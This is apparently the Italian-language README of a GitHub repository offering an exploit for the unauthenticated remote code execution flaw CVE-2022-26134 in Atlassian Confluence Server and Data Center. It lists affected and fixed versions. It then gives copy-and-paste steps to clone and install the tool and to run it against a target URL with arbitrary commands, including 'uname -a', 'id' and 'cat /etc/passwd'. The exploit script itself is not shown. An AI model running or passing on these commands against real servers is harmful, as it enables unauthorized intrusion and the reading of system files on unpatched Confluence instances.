nxtexploit/cve-2022-26134Atlassian Confluence (CVE-2022-26134) - Esecuzione di codice in remoto non autenticata (RCE)
Confluence Server e Data Center - CVE-2022-26134 - Vulnerabilità critica di esecuzione remota di codice non autenticata
| Riepilogo | CVE-2022-26134 - Vulnerabilità critica di esecuzione remota di codice non autenticata in Confluence Server e Data Center |
|---|---|
| Prodotti interessati | Confluence Confluence Server Confluence Data Center |
| Versioni interessate | Tutte le versioni supportate di Confluence Server e Data Center sono interessate. Le versioni di Confluence Server e Data Center successive alla 1.3.0 sono interessate. |
| Versioni corrette | 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1 |
Copia e incolla nel terminale :
git clone https://github.com/nxtexploit/CVE-2022-26134 ; cd CVE-2022-26134 ; pip install -r requirements.txt
python3 CVE-2022-26134.py https://target.com type-command-here
python3 CVE-2022-26134.py https://target.com "uname -a"
python3 CVE-2022-26134.py https://target.com "cat /etc/passwd"
python3 CVE-2022-26134.py https://target.com id
